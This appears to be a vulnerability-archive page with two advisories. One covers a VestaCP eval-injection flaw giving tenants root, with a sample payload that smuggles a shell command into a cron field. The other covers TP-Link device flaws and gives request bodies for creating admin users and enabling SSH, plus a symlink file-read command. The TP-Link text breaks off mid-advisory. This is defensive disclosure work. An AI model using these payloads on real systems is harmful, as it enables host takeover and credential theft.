Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0482

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks -> root RCE (VESTACP-2026-001)
Summary
Advisory ID: VESTACP-2026-001 / GHSA-m2mc-xwq7-pw72 Product: Vesta Control Panel (VestaCP) Versions: <= 0.9.8-26 (unmaintained since 2019-09; no upstream fix exists) Severity: Critical - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 CWE: CWE-78 (OS Command Injection), CWE-95 (Eval Injection) Reporter: Bryan Ramirez - SYSDOP LLC <security () sysdop com> SUMMARY ------- VestaCP stores per-account objects (domains, cron jobs, DNS, mail, users) as KEY='value' lines under $USER_DATA/*.conf. The shared shell library func/main.sh - sourced by every v-* administration script, all of which run as root - parses those lines with `eval`, so the assignments land in the calling shell's environment. Values in those files are controllable by an authenticated panel user (cron command fields, domain/alias fields, DNS and mail records, names/comments). Any value that lands with an unescaped single quote breaks out of the quoted assignment and injects arbitrary shell, executed as root the next time any v-* script parses that object - which happens on routine panel operations and on cron-driven sync jobs, without further interaction. This is the same sink class published for VestaCP's downstream fork HestiaCP as GHSA-w3mx-xq85-8qqc (config parser eval -> root RCE, fixed in 1.9.5), GHSA-cr7q-frhq-xw4v and GHSA-5fpv-c8rg-x6r3 (unquoted cron argument -> crontab injection). Hestia patched the class in the fork; VestaCP itself never received an advisory or a fix and remains deployed worldwide - notably in VPS templates (e.g. Virtualizor images) still offered by hosting providers today. AFFECTED SINKS (func/main.sh, 0.9.8-26) ------------------------------------- is_object_value_empty, is_object_value_exist, get_object_value, update_object_value, add_object_key: eval "$object" over a grep'd conf line. search_objects, sync_cron_jobs: eval $line per matching line. ARGUMENTS builder: eval echo \$${I} (also a latent glob-expansion bug). is_format_valid: eval arg=\$$arg_name. bin/v-add-cron-job: echo $7 unquoted -> raw newlines land in the crontab (GHSA-5fpv class). The central pattern (verbatim shape in stock 0.9.8-26): object=$(grep "$2='$3'" $USER_DATA/$1.conf) eval "$object" EXPLOITATION ------------ 1. Attacker holds an ordinary authenticated VestaCP account (hosting customer) or any write path landing data in ~/conf/*.conf (panel fields bypassing %quote% escaping, backup/restore, API/import paths). 2. A crafted value containing an unescaped ' is stored, e.g. a cron CMD: CMD='x'; id > /tmp/pwned; # 3. On the next root-run v-* invocation parsing the object, the eval runs the injected commands as root. Impact: tenant-to-host escape - full root on the node, exposing every site, mailbox and database of every account it hosts. A self-contained PoC simulating the vulnerable parse and the hardened parser neutralizing it is published in the repository (poc/poc-eval-sink.sh). ADDITIONAL FINDING ------------------ While certifying equivalence of the hardened parser (1,165 field comparisons against real confs): the stock `eval echo $4` path performs glob expansion - a literal `*` in a field expands to a directory listing instead of returning verbatim. The non-eval parser returns `*` correctly: the replacement is equivalent and fixes a latent parsing bug. MITIGATION ---------- No upstream fix exists (abandonware). Operators still running VestaCP should: 1. Replace the eval parser with a non-eval key/value parser - the repository includes a drop-in parse_object_kv_list (strict KEY='value' regex + `declare -g` assignment; values become literals, never executed) plus a porting recipe for all eval sites (mitigation/non-eval-parser.sh). 2. Enforce %quote%/%dots% escaping on every v-* entry point ingesting user data; quote every expansion (echo "$7" in v-add-cron-job). 3. Restrict the panel port by firewall/IP allow-list; monitor $USER_DATA/*.conf for unexpected writes. 4. Migrate to a maintained control panel. TIMELINE -------- 2019-09 Last upstream VestaCP release (0.9.8-26); project abandoned. 2026-08 Sinks identified, PoC confirmed and remediation developed during a defensive security audit of production hosting infrastructure. 2026-10-06 Public disclosure (GitHub Security Advisory + this post); CVE requested via MITRE. VENDOR CONTACT -------------- None possible - no active maintainer, no published security contact, inactive community. Disclosed publicly for the install base still running VestaCP in production. REFERENCES ---------- GHSA: https://github.com/sysdopllc/vestacp-config-eval-rce/security/advisories/GHSA-m2mc-xwq7-pw72 Repository (advisory, PoC, mitigation): https://github.com/sysdopllc/vestacp-config-eval-rce Related HestiaCP advisories (same class, fixed downstream): https://github.com/hestiacp/hestiacp/security/advisories/GHSA-w3mx-xq85-8qqc https://github.com/hestiacp/hestiacp/security/advisories/GHSA-cr7q-frhq-xw4v https://github.com/hestiacp/hestiacp/security/advisories/GHSA-5fpv-c8rg-x6r3 -- Bryan Ramirez SYSDOP LLC security () sysdop com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Control Panel (VestaCP)",
          "vendor": "Vesta",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Bryan Ramirez via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:   VESTACP-2026-001 / GHSA-m2mc-xwq7-pw72\nProduct:       Vesta Control Panel (VestaCP)\nVersions:      \u003c= 0.9.8-26 (unmaintained since 2019-09; no upstream fix exists)\nSeverity:      Critical - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9\nCWE:           CWE-78 (OS Command Injection), CWE-95 (Eval Injection)\nReporter:      Bryan Ramirez - SYSDOP LLC \u003csecurity () sysdop com\u003e\n\nSUMMARY\n-------\nVestaCP stores per-account objects (domains, cron jobs, DNS, mail, users) as\nKEY=\u0027value\u0027 lines under $USER_DATA/*.conf. The shared shell library\nfunc/main.sh - sourced by every v-* administration script, all of which run\nas root - parses those lines with `eval`, so the assignments land in the\ncalling shell\u0027s environment.\n\nValues in those files are controllable by an authenticated panel user (cron\ncommand fields, domain/alias fields, DNS and mail records, names/comments).\nAny value that lands with an unescaped single quote breaks out of the quoted\nassignment and injects arbitrary shell, executed as root the next time any\nv-* script parses that object - which happens on routine panel operations\nand on cron-driven sync jobs, without further interaction.\n\nThis is the same sink class published for VestaCP\u0027s downstream fork HestiaCP\nas GHSA-w3mx-xq85-8qqc (config parser eval -\u003e root RCE, fixed in 1.9.5),\nGHSA-cr7q-frhq-xw4v and GHSA-5fpv-c8rg-x6r3 (unquoted cron argument -\u003e\ncrontab injection). Hestia patched the class in the fork; VestaCP itself\nnever received an advisory or a fix and remains deployed worldwide - notably\nin VPS templates (e.g. Virtualizor images) still offered by hosting\nproviders today.\n\nAFFECTED SINKS (func/main.sh, 0.9.8-26)\n-------------------------------------\nis_object_value_empty, is_object_value_exist, get_object_value,\nupdate_object_value, add_object_key: eval \"$object\" over a grep\u0027d conf line.\nsearch_objects, sync_cron_jobs: eval $line per matching line.\nARGUMENTS builder: eval echo \\$${I} (also a latent glob-expansion bug).\nis_format_valid: eval arg=\\$$arg_name.\nbin/v-add-cron-job: echo $7 unquoted -\u003e raw newlines land in the crontab\n(GHSA-5fpv class).\n\nThe central pattern (verbatim shape in stock 0.9.8-26):\n\n    object=$(grep \"$2=\u0027$3\u0027\" $USER_DATA/$1.conf)\n    eval \"$object\"\n\nEXPLOITATION\n------------\n1. Attacker holds an ordinary authenticated VestaCP account (hosting\n   customer) or any write path landing data in ~/conf/*.conf (panel fields\n   bypassing %quote% escaping, backup/restore, API/import paths).\n2. A crafted value containing an unescaped \u0027 is stored, e.g. a cron CMD:\n   CMD=\u0027x\u0027; id \u003e /tmp/pwned; #\n3. On the next root-run v-* invocation parsing the object, the eval runs\n   the injected commands as root.\n\nImpact: tenant-to-host escape - full root on the node, exposing every site,\nmailbox and database of every account it hosts.\n\nA self-contained PoC simulating the vulnerable parse and the hardened parser\nneutralizing it is published in the repository (poc/poc-eval-sink.sh).\n\nADDITIONAL FINDING\n------------------\nWhile certifying equivalence of the hardened parser (1,165 field comparisons\nagainst real confs): the stock `eval echo $4` path performs glob expansion -\na literal `*` in a field expands to a directory listing instead of returning\nverbatim. The non-eval parser returns `*` correctly: the replacement is\nequivalent and fixes a latent parsing bug.\n\nMITIGATION\n----------\nNo upstream fix exists (abandonware). Operators still running VestaCP should:\n\n1. Replace the eval parser with a non-eval key/value parser - the repository\n   includes a drop-in parse_object_kv_list (strict KEY=\u0027value\u0027 regex +\n   `declare -g` assignment; values become literals, never executed) plus a\n   porting recipe for all eval sites (mitigation/non-eval-parser.sh).\n2. Enforce %quote%/%dots% escaping on every v-* entry point ingesting user\n   data; quote every expansion (echo \"$7\" in v-add-cron-job).\n3. Restrict the panel port by firewall/IP allow-list; monitor\n   $USER_DATA/*.conf for unexpected writes.\n4. Migrate to a maintained control panel.\n\nTIMELINE\n--------\n2019-09    Last upstream VestaCP release (0.9.8-26); project abandoned.\n2026-08    Sinks identified, PoC confirmed and remediation developed during\n           a defensive security audit of production hosting infrastructure.\n2026-10-06 Public disclosure (GitHub Security Advisory + this post);\n           CVE requested via MITRE.\n\nVENDOR CONTACT\n--------------\nNone possible - no active maintainer, no published security contact,\ninactive community. Disclosed publicly for the install base still running\nVestaCP in production.\n\nREFERENCES\n----------\nGHSA: https://github.com/sysdopllc/vestacp-config-eval-rce/security/advisories/GHSA-m2mc-xwq7-pw72\nRepository (advisory, PoC, mitigation):\n  https://github.com/sysdopllc/vestacp-config-eval-rce\nRelated HestiaCP advisories (same class, fixed downstream):\n  https://github.com/hestiacp/hestiacp/security/advisories/GHSA-w3mx-xq85-8qqc\n  https://github.com/hestiacp/hestiacp/security/advisories/GHSA-cr7q-frhq-xw4v\n  https://github.com/hestiacp/hestiacp/security/advisories/GHSA-5fpv-c8rg-x6r3\n\n--\nBryan Ramirez\nSYSDOP LLC\nsecurity () sysdop com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-95",
              "description": "CWE-95",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:02Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/26"
        },
        {
          "url": "https://github.com/hestiacp/hestiacp/security/advisories/GHSA-5fpv-c8rg-x6r3"
        },
        {
          "url": "https://github.com/hestiacp/hestiacp/security/advisories/GHSA-cr7q-frhq-xw4v"
        },
        {
          "url": "https://github.com/hestiacp/hestiacp/security/advisories/GHSA-w3mx-xq85-8qqc"
        },
        {
          "url": "https://github.com/sysdopllc/vestacp-config-eval-rce"
        },
        {
          "url": "https://github.com/sysdopllc/vestacp-config-eval-rce/security/advisories/GHSA-m2mc-xwq7-pw72"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "VestaCP \u003c= 0.9.8-26: authenticated config-parser eval sinks -\u003e root RCE (VESTACP-2026-001)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0482",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/26",
            "automated": true,
            "contentSha256": "7eee609eba0894c6087113e1faa1fbba9a80c0b4258d5d9363bbc762123d0a41",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-06T23:23:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:02Z",
    "dateUpdated": "2026-11-02T07:30:02Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0482"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0481

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
SEC Consult SA-20261008-0 :: Multiple critical vulnerabilities in multiple TP-Link device series
Summary
SEC Consult Vulnerability Lab Security Advisory < 20261008-0 > ======================================================================= title: Multiple critical vulnerabilities           product: Multiple TP-Link device series Mesh: HB Series, HX Series, HC Series; Router: EB Series EC Series, EX Series; PON: XC Series, XX Series; xDSL modem: VX Series vulnerable version: Multiple affected versions     fixed version: See solution below          CVE number: CVE-2025-30237, CVE-2025-30238, CVE-2025-30239 CVE-2025-30240, CVE-2025-30241              impact: critical homepage:https://www.tp-link.com             found: 2024-12-02 by: Gerhard Hechenberger (Office Vienna) Stefan Schweighofer (Office Vienna) Constantin Schieber-Knoebl (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Headquartered in the United States, TP-Link is a global provider of reliable networking devices and smart home products, consistently ranked as the world’s top provider of Wi-Fi devices. The company is committed to delivering innovative products that enhance people’s lives through faster, more reliable connectivity. With a commitment to excellence, TP-Link serves customers in over 170 countries and continues to grow its global footprint." Source:https://www.tp-link.com/us/about/about-us/ Business recommendation: ------------------------ The vendor provides patches for multiple affected devices which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Authentication Bypass (CVE-2025-30237) The currently implemented authentication flow of the web server of the affected device makes it possible to craft special requests, which allow an attacker to directly execute certain actions on the device, without any valid user credentials. This vulnerability makes it possible to execute any action that is shown in the "Broken Access Control" vulnerability description without any authentication. Exploiting this, an attacker can effectively take over the device, given that access to the web server is possible. 2) Broken Access Control (CVE-2025-30238) The affected device features several user profiles with different user levels. Due to insufficient checks on the device itself, an authenticated attacker can execute actions as low privileged user that are meant to be only executed as a high privileged user. An authenticated attacker can therefore create a high privileged user profile and fully take over the device by enabling SSH and logging in with the new account. 3) Sensitive Data Stored Insecurely (CVE-2025-30239) The affected device stores sensitive data in an ineffectively protected format in multiple locations. The used symmetric cryptography makes use of hardcoded keys which are only tied to the device model. After reversing the firmware and extracting the hardcoded keys, an attacker can effectively decrypt the following files and read plaintext credentials, including the used passwords. Depending on the device configuration, CWMP provider credentials can also be extracted. - Default Configuration (default user and Wi-Fi credentials) - Active Configuration (all user account credentials, Wi-Fi credentials and CWMP credentials) - Configuration Backup (all user account credentials, Wi-Fi credentials and CWMP credentials) 4) Unsafe Symbolic Link Processing (CVE-2025-30240) The USB port on the affected device enables an attacker to place a symbolic link on USB storage devices and gain read access to the complete file system of the device. 5) Authenticated OS Command Injection (CVE-2025-30241) Multiple input fields of the web interface are not sanitized properly and therefore allow an attacker to inject and execute arbitrary OS commands. The commands are executed with root privileges on the device, allowing to fully take over the device from the web interface. Proof of concept: ----------------- 1) Authentication Bypass (CVE-2025-30237) The authentication bypass is based on the handling of the custom transport layer encryption, which is used in HTTP and HTTPS connections. The transport layer encryption is already well known publicly, for example it is described in the following blog post: <https://hex.fish/2021/05/10/tp-link-gdpr/> During authentication the following steps are executed: 1. The client requests RSA parameters and the sequence number via the /cgi/getParm endpoint. 2. The client provides an AES key and IV to be used for upcoming encrypted requests. The web server of the device communicates with the client via HTTP POST "sign" and "data" parameters. The "sign" parameter is based on the following data after successful authentication: [ redacted ] The "data" parameter contains BASE64 encoded JSON data which is encrypted that describes the action that should be executed on the device. For a login request the "sign" parameter looks slightly different, since the client and device need to exchange encryption parameters first. For this purpose the client provides an AES key and IV to the device via the "sign" parameter during a login request: [ redacted ] As an example the following "sign" parameter is valid, given that the sequence number is valid to the device. [ redacted ] An attacker can use the initial "sign" parameter format, with key and IV, to bypass the authentication, by replacing the "data" parameter with any action that should be executed on the device. For example, an attacker is able to create a "Superadmin" user on the device and enable SSH to gain full access to the device. Therefore, all examples described in issue 2 "Broken Access Control" of this advisory are now possible without any authentication. 2) Broken Access Control (CVE-2025-30238) In order to exploit the broken access control vulnerability an attacker must be able to create or modify valid requests which follow the rules of the custom transport layer encryption that is used by the affected device. For this, an attacker only needs valid credentials for a low privileged user, who is able to log in on the web portal of the device. With a valid session an attacker can then send requests to the device, which are only meant to be performed by high privileged users on the device. This includes reading user credentials, enabling SSH or Telnet and reading CWMP credentials. The following examples show the unencrypted JSON data that can be sent to the device in the "data" parameter of a normal action POST request. Example 1: Creating a Superadmin user { "data": { "X_TP_Grade": "Superadmin", "username": "$USERNAME", "password": "$PASSWORD", [redacted] }, [redacted]   "isuseractive": true } Example 2: Reading User Credentials { "data": { "stack": "0,0,0,0,0,0", "pstack": "0,0,0,0,0,0" }, [redacted]   "isuseractive": true } Example 3: Enabling SSH { "data": { "localPort": "22", "sessionLifeTime": "0", "localEnabled": "1", [redacted]   }, [redacted] } 3) Sensitive Data Stored Insecurely (CVE-2025-30239) The following examples show how the different encrypted configurations and backups can be decrypted to read plaintext credentials, including the used passwords. Example 1: Decryption of Default Configuration The file "default_configuration.xml" contains the default user and Wi-Fi credentials in plaintext. This file is also contained in the firmware update file in the following path: /etc/default_configuration.xml The configuration is encrypted using DES-ECB and a static key. The parameters for decryption are already well-known online. With the following command the default configuration can be decrypted: [ PoC removed ] The resulting file will contain the default plaintext credentials: <X_TP_UserCfg> <RootName val=$PLAINTEXT_USERNAME /> <RootPwd val=$PLAINTEXT_PASSWORD /> [...] </X_TP_UserCfg> Example 2: Decryption of Active Configuration The active configuration is stored at an emulated flash memory address. This file can be found in the following path: /var/run/misc/misc_rw/0x00200000 The file itself is compressed using BriefLZ and encrypted using AES-128-CBC and a static key. The AES key and IV can be recovered by analyzing the libcmm.so and libgdpr.so binaries. The decompression step can be analyzed via the libcutil.so binary. To recover the plaintext, the header of the file (first 16 bytes) need to be discarded. After that the file can be decrypted with the following command and afterwards decompressed. [ PoC removed ] The BriefLZ tool (https://github.com/jibsen/brieflz) can be used for decompression after a short patch that enables RAW byte support at a specific offset (4 bytes). For this purpose the the BriefLZ function blz_depack() can be used. The resulting file for example contains all configured user plaintext credentials: <Users> <UserNumberOfEntries val=5 /> <User instance=1 > <RemoteAccessCapable val=1 /> <Username val=$PLAINTEXT_USERNAME /> <Password val=$PLAINTEXT_PASSWORD /> [...] </User> Example 3: Decryption of Configuration Backup A backup can be created in the web portal of the device. The created backup is encrypted even if no password is set by the user. The resulting file is called "conf.bin". This file is compressed and encrypted using DES-ECB with a static key that is derived from two sources. The backup encryption is already known online (https://github.com/sta-c0000/tpconf_bin_xml/blob/master/tpconf_bin_xml.py) and can be used with the correct key. The static key can be recovered if the following two parts are known: 1. Base key (static bytes embedded in the libcmm.so binary file) 2. Model key (product ID, present in a data model file) The final key for the backup is created if both parts are XORed: Base key (hex) 74************cf Model key (hex) 35************31 Final key (hex) 41************fe Using the final key and the tool mentioned the plaintext can be recovered: $ python tpconf_bin_xml/tpconf_bin_xml.py -o conf.bin conf.xml The resulting XML file will contain for example the plaintext Wi-Fi credentials. <Security> <ModeEnabled val=WPA2-WPA3-Personal /> <X_TP_PSKType val=KeyPassphrase /> <PreSharedKey val=$PRESHAREDKEY /> <KeyPassphrase val=$PLAINTEXT_PASSWORD /> <X_TP_WPAWPA2EncryptionMode val=AES /> </Security> 4) Unsafe Symbolic Link Processing (CVE-2025-30240) Physical access to the device allows an attacker to use the USB port on the device. For the attacker a USB storage device needs to be NTFS formatted and a symbolic link created. The symbolic link can be created via the following command: $ ln -s / rootfs If the USB storage device is detected by the device, the symbolic link will be accessible via the following URL: http://$IP:8052/sda1/rootfs/ Under this URL the whole file system can be read, including the active configuration of the device. The active configuration is accessible via the following path: /var/run/misc/misc_rw/0x00200000 The configuration itself is encrypted, but can be read via the proof of concept described in issue 3 "Sensitive Data Stored Insecurely". 5) Authenticated OS Command Injection (CVE-2025-30241) As a prerequisite, authenticated access to the web interface is needed. The first vulnerable input is the content user password. It is reachable by navigating to: Advanced -> USB Devices -> Sharing Access -> Sharing Account -> Passwor
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
analysis GCVE-1988-2026-0481 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Multiple TP-Link device series",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20261008-0 \u003e\n=======================================================================\n              title: Multiple critical vulnerabilities\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Multiple TP-Link device series\n                     Mesh: HB Series, HX Series, HC Series; Router: EB Series\n                     EC Series, EX Series; PON: XC Series, XX Series;\n                     xDSL modem: VX Series\n vulnerable version: Multiple affected versions\n  \u00a0 \u00a0 fixed version: See solution below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-30237, CVE-2025-30238, CVE-2025-30239\n                     CVE-2025-30240, CVE-2025-30241\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n           homepage:https://www.tp-link.com\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2024-12-02\n                 by: Gerhard Hechenberger (Office Vienna)\n                     Stefan Schweighofer (Office Vienna)\n                     Constantin Schieber-Knoebl (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Headquartered in the United States, TP-Link is a global provider of reliable\nnetworking devices and smart home products, consistently ranked as the\nworld\u2019s top provider of Wi-Fi devices. The company is committed to delivering\ninnovative products that enhance people\u2019s lives through faster, more reliable\nconnectivity. With a commitment to excellence, TP-Link serves customers in\nover 170 countries and continues to grow its global footprint.\"\n\nSource:https://www.tp-link.com/us/about/about-us/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides patches for multiple affected devices which should be\ninstalled immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Authentication Bypass (CVE-2025-30237)\nThe currently implemented authentication flow of the web server of the\naffected device makes it possible to craft special requests, which allow\nan attacker to directly execute certain actions on the device, without any\nvalid user credentials. This vulnerability makes it possible to execute\nany action that is shown in the \"Broken Access Control\" vulnerability\ndescription without any authentication. Exploiting this, an attacker\ncan effectively take over the device, given that access to the web server\nis possible.\n\n2) Broken Access Control (CVE-2025-30238)\nThe affected device features several user profiles with different\nuser levels. Due to insufficient checks on the device itself, an\nauthenticated attacker can execute actions as low privileged user that\nare meant to be only executed as a high privileged user.\nAn authenticated attacker can therefore create a high privileged user\nprofile and fully take over the device by enabling SSH and logging in\nwith the new account.\n\n3) Sensitive Data Stored Insecurely (CVE-2025-30239)\nThe affected device stores sensitive data in an ineffectively\nprotected format in multiple locations. The used symmetric cryptography\nmakes use of hardcoded keys which are only tied to the device model.\nAfter reversing the firmware and extracting the hardcoded keys,\nan attacker can effectively decrypt the following files and read\nplaintext credentials, including the used passwords. Depending on the\ndevice configuration, CWMP provider credentials can also be extracted.\n- Default Configuration (default user and Wi-Fi credentials)\n- Active Configuration (all user account credentials, Wi-Fi credentials and\n  CWMP credentials)\n- Configuration Backup (all user account credentials, Wi-Fi credentials and\n  CWMP credentials)\n\n4) Unsafe Symbolic Link Processing (CVE-2025-30240)\nThe USB port on the affected device enables an attacker to\nplace a symbolic link on USB storage devices and gain read access\nto the complete file system of the device.\n\n5) Authenticated OS Command Injection (CVE-2025-30241)\nMultiple input fields of the web interface are not sanitized properly and\ntherefore allow an attacker to inject and execute arbitrary OS commands. The\ncommands are executed with root privileges on the device, allowing to fully\ntake over the device from the web interface.\n\n\nProof of concept:\n-----------------\n1) Authentication Bypass (CVE-2025-30237)\nThe authentication bypass is based on the handling of the custom\ntransport layer encryption, which is used in HTTP and HTTPS connections.\nThe transport layer encryption is already well known publicly, for example\nit is described in the following blog post:\n\u003chttps://hex.fish/2021/05/10/tp-link-gdpr/\u003e\n\nDuring authentication the following steps are executed:\n  1. The client requests RSA parameters and the sequence number\n     via the /cgi/getParm endpoint.\n  2. The client provides an AES key and IV to be used for upcoming\n     encrypted requests.\n\nThe web server of the device communicates with the client via\nHTTP POST \"sign\" and \"data\" parameters. The \"sign\" parameter\nis based on the following data after successful authentication:\n\n[ redacted ]\n\nThe \"data\" parameter contains BASE64 encoded JSON data which is\nencrypted that describes the action that should be executed on\nthe device.\n\nFor a login request the \"sign\" parameter looks slightly different,\nsince the client and device need to exchange encryption parameters first.\nFor this purpose the client provides an AES key and IV to the device\nvia the \"sign\" parameter during a login request:\n\n[ redacted ]\n\nAs an example the following \"sign\" parameter is valid, given\nthat the sequence number is valid to the device.\n\n[ redacted ]\n\nAn attacker can use the initial \"sign\" parameter format, with key and IV,\nto bypass the authentication, by replacing the \"data\" parameter\nwith any action that should be executed on the device.\n\nFor example, an attacker is able to create a \"Superadmin\" user\non the device and enable SSH to gain full access to the device.\nTherefore, all examples described in issue 2 \"Broken Access Control\"\nof this advisory are now possible without any authentication.\n\n2) Broken Access Control (CVE-2025-30238)\nIn order to exploit the broken access control vulnerability an\nattacker must be able to create or modify valid requests which\nfollow the rules of the custom transport layer encryption\nthat is used by the affected device. For this, an attacker\nonly needs valid credentials for a low privileged user, who\nis able to log in on the web portal of the device. With a valid\nsession an attacker can then send requests to the device, which\nare only meant to be performed by high privileged users on the\ndevice. This includes reading user credentials, enabling SSH or\nTelnet and reading CWMP credentials. The following examples\nshow the unencrypted JSON data that can be sent to the device\nin the \"data\" parameter of a normal action POST request.\n\nExample 1: Creating a Superadmin user\n{\n  \"data\": {\n    \"X_TP_Grade\": \"Superadmin\",\n    \"username\": \"$USERNAME\",\n    \"password\": \"$PASSWORD\",\n        [redacted]\n  },\n  [redacted]\n\u00a0 \"isuseractive\": true\n}\n\nExample 2: Reading User Credentials\n{\n  \"data\": {\n    \"stack\": \"0,0,0,0,0,0\",\n    \"pstack\": \"0,0,0,0,0,0\"\n  },\n  [redacted]\n\u00a0 \"isuseractive\": true\n}\n\nExample 3: Enabling SSH\n{\n  \"data\": {\n    \"localPort\": \"22\",\n    \"sessionLifeTime\": \"0\",\n    \"localEnabled\": \"1\",\n    [redacted]\n\u00a0 },\n  [redacted]\n}\n\n3) Sensitive Data Stored Insecurely (CVE-2025-30239)\nThe following examples show how the different encrypted\nconfigurations and backups can be decrypted to read plaintext\ncredentials, including the used passwords.\n\nExample 1: Decryption of Default Configuration\nThe file \"default_configuration.xml\" contains the default user\nand Wi-Fi credentials in plaintext. This file is also contained in\nthe firmware update file in the following path:\n/etc/default_configuration.xml\n\nThe configuration is encrypted using DES-ECB and a static key. The\nparameters for decryption are already well-known online. With the\nfollowing command the default configuration can be decrypted:\n\n[ PoC removed ]\n\nThe resulting file will contain the default plaintext credentials:\n\n\u003cX_TP_UserCfg\u003e\n  \u003cRootName val=$PLAINTEXT_USERNAME /\u003e\n  \u003cRootPwd val=$PLAINTEXT_PASSWORD /\u003e\n  [...]\n\u003c/X_TP_UserCfg\u003e\n\nExample 2: Decryption of Active Configuration\nThe active configuration is stored at an emulated flash memory address.\nThis file can be found in the following path:\n/var/run/misc/misc_rw/0x00200000\n\nThe file itself is compressed using BriefLZ and encrypted using\nAES-128-CBC and a static key. The AES key and IV can be recovered\nby analyzing the libcmm.so and libgdpr.so binaries. The decompression\nstep can be analyzed via the libcutil.so binary. To recover the\nplaintext, the header of the file (first 16 bytes) need to be\ndiscarded. After that the file can be decrypted with the following\ncommand and afterwards decompressed.\n\n[ PoC removed ]\n\nThe BriefLZ tool (https://github.com/jibsen/brieflz) can be used for\ndecompression after a short patch that enables RAW byte support at\na specific offset (4 bytes). For this purpose the the BriefLZ\nfunction blz_depack() can be used.\n\nThe resulting file for example contains all configured user\nplaintext credentials:\n\n\u003cUsers\u003e\n  \u003cUserNumberOfEntries val=5 /\u003e\n  \u003cUser instance=1 \u003e\n    \u003cRemoteAccessCapable val=1 /\u003e\n    \u003cUsername val=$PLAINTEXT_USERNAME /\u003e\n    \u003cPassword val=$PLAINTEXT_PASSWORD /\u003e\n[...]\n\u003c/User\u003e\n\nExample 3: Decryption of Configuration Backup\nA backup can be created in the web portal of the device.\nThe created backup is encrypted even if no password is set\nby the user. The resulting file is called \"conf.bin\". This\nfile is compressed and encrypted using DES-ECB with a static\nkey that is derived from two sources. The backup encryption\nis already known online (https://github.com/sta-c0000/tpconf_bin_xml/blob/master/tpconf_bin_xml.py)\nand can be used with the correct key. The static key can be\nrecovered if the following two parts are known:\n1. Base key (static bytes embedded in the libcmm.so binary file)\n2. Model key (product ID, present in a data model file)\n\nThe final key for the 